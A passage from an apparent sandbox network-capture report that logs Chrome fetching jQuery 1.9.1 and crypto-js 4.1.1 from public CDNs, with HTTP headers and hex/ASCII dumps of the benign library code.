$(expr, context)// (which is just equivalent to: $(context).find(expr)
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 74 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 73 20 29 20 7b 0a 0a 09 09 2f 2f 20 42 75 69 6c 64 20 61 20 6e 65 77 20 6a 51 75 65 72 79 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 0a 09 09 76 61 72 20 72 65 74 20 3d 20 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 20 65 6c 65 6d 73 20 29 3b 0a 0a 09 09 2f 2f 20 41 64 64 20 74 68 65 20 6f 6c 64 20 6f 62 6a 65 63 74 20 6f 6e 74 6f 20 Data Ascii: an array of elements and push it onto the stack// (returning the new matched element set)pushStack: function( elems ) {// Build a new jQuery matched element setvar ret = jQuery.merge( this.constructor(), elems );// Add the old object onto
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 20 6a 51 75 65 72 79 20 6d 65 74 68 6f 64 2e 0a 09 70 75 73 68 3a 20 63 6f 72 65 5f 70 75 73 68 2c 0a 09 73 6f 72 74 3a 20 5b 5d 2e 73 6f 72 74 2c 0a 09 73 70 6c 69 63 65 3a 20 5b 5d 2e 73 70 6c 69 63 65 0a 7d 3b 0a 0a 2f 2f 20 47 69 76 65 20 74 68 65 20 69 6e 69 74 20 66 75 6e 63 74 69 6f 6e 20 74 68 65 20 6a 51 75 65 72 79 20 70 72 6f 74 6f 74 79 70 65 20 66 6f 72 20 6c 61 74 65 72 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 0a 6a 51 75 65 72 79 2e 66 6e 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 6a 51 75 65 72 79 2e 66 6e 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 73 72 63 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 Data Ascii: jQuery method.push: core_push,sort: [].sort,splice: [].splice};// Give the init function the jQuery prototype for later instantiationjQuery.fn.init.prototype = jQuery.fn;jQuery.extend = jQuery.fn.extend = function() {var src, copyIsArray, c
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 72 63 20 3a 20 5b 5d 3b 0a 0a 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 63 6c 6f 6e 65 20 3d 20 73 72 63 20 26 26 20 6a 51 75 65 72 79 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 73 72 63 29 20 3f 20 73 72 63 20 3a 20 7b 7d 3b 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 2f 2f 20 4e 65 76 65 72 20 6d 6f 76 65 20 6f 72 69 67 69 6e 61 6c 20 6f 62 6a 65 63 74 73 2c 20 63 6c 6f 6e 65 20 74 68 65 6d 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 64 65 65 70 2c 20 63 6c 6f 6e 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f Data Ascii: rc : [];} else {clone = src && jQuery.isPlainObject(src) ? src : {};}// Never move original objects, clone themtarget[ name ] = jQuery.extend( deep, clone, copy );// Don't bring in undefined values} else if ( co
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 2c 20 64 65 63 72 65 6d 65 6e 74 2c 20 61 6e 64 20 77 61 69 74 20 69 66 20 6e 65 65 64 20 62 65 0a 09 09 69 66 20 28 20 77 61 69 74 20 21 3d 3d 20 74 72 75 65 20 26 26 20 2d 2d 6a 51 75 65 72 79 2e 72 65 61 64 79 57 61 69 74 20 3e 20 30 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 49 66 20 74 68 65 72 65 20 61 72 65 20 66 75 6e 63 74 69 6f 6e 73 20 62 6f 75 6e 64 2c 20 74 6f 20 65 78 65 63 75 74 65 0a 09 09 72 65 61 64 79 4c 69 73 74 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 20 64 6f 63 75 6d 65 6e 74 2c 20 5b 20 6a 51 75 65 72 79 20 5d 20 29 3b 0a 0a 09 09 2f 2f 20 54 72 69 67 67 65 72 20 61 6e 79 20 62 6f 75 6e 64 20 72 65 61 64 79 20 65 76 65 6e 74 73 0a 09 09 69 66 20 28 20 6a 51 75 65 72 79 2e 66 6e 2e 74 72 69 67 67 65 Data Ascii: , decrement, and wait if need beif ( wait !== true && --jQuery.readyWait > 0 ) {return;}// If there are functions bound, to executereadyList.resolveWith( document, [ jQuery ] );// Trigger any bound ready eventsif ( jQuery.fn.trigge
2024-12-17 21:24:46 UTC	1378	IN	Data Raw: 7d 0a 0a 09 09 74 72 79 20 7b 0a 09 09 09 2f 2f 20 4e 6f 74 20 6f 77 6e 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 70 72 6f 70 65 72 74 79 20 6d 75 73 74 20 62 65 20 4f 62 6a 65 63 74 0a 09 09 09 69 66 20 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2c 20 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 0a 09 09 09 2f 2f 20 49 45 38 2c 39 Data Ascii: }try {// Not own constructor property must be Objectif ( obj.constructor &&!core_hasOwn.call(obj, "constructor") &&!core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {return false;}} catch ( e ) {// IE8,9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49728	104.17.24.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:47 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:48 UTC	962	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:48 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 529935 Expires: Sun, 07 Dec 2025 21:24:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RVEooBPAVnn1zPAiW4gPWyimHRcKeqIVSjiIXpnW3HnAqL0k5m%2FXwrI8FxolYIsDRt2eHFaKrmQ04IzKcISf6YD%2F%2FLLQNocgyOVuII4iNKctNFL6zdFSYas%2Br%2BBw7rCLAn1xBEeo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f39fb699e0d0f90-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 21:24:48 UTC	407	IN	Data Raw: 33 39 37 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3977!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e Data Ascii: peof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 Data Ascii: ne.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBy
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b Data Ascii: =typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d Data Ascii: or(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c Data Ascii: :0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLM
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d Data Ascii: bs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=
2024-12-17 21:24:48 UTC	1369	IN	Data Raw: 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 Data Ascii: 39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49730	151.101.194.137	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:48 UTC	354	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:48 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 17 Dec 2024 21:24:48 GMT Age: 2450480 X-Served-By: cache-lga21952-LGA, cache-ewr-kewr1740021-EWR X-Cache: HIT, HIT X-Cache-Hits: 523, 1 X-Timer: S1734470689.649566,VS0,VE1 Vary: Accept-Encoding
2024-12-17 21:24:48 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 31 2e 39 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 Data Ascii: /! jQuery JavaScript Library v1.9.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * D
2024-12-17 21:24:49 UTC	16384	IN	Data Raw: 20 69 20 5d 2c 20 61 72 67 73 20 29 3b 0a 0a 09 09 09 09 09 69 66 20 28 20 76 61 6c 75 65 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 66 6f 72 20 28 20 69 20 69 6e 20 6f 62 6a 20 29 20 7b 0a 09 09 09 09 09 76 61 6c 75 65 20 3d 20 63 61 6c 6c 62 61 63 6b 2e 61 70 70 6c 79 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 61 72 67 73 20 29 3b 0a 0a 09 09 09 09 09 69 66 20 28 20 76 61 6c 75 65 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 2f 2f 20 41 20 73 70 65 63 69 61 6c 2c 20 66 61 73 74 2c 20 63 61 73 65 20 66 6f 72 20 74 68 65 20 6d 6f 73 74 Data Ascii: i ], args );if ( value === false ) {break;}}} else {for ( i in obj ) {value = callback.apply( obj[ i ], args );if ( value === false ) {break;}}}// A special, fast, case for the most
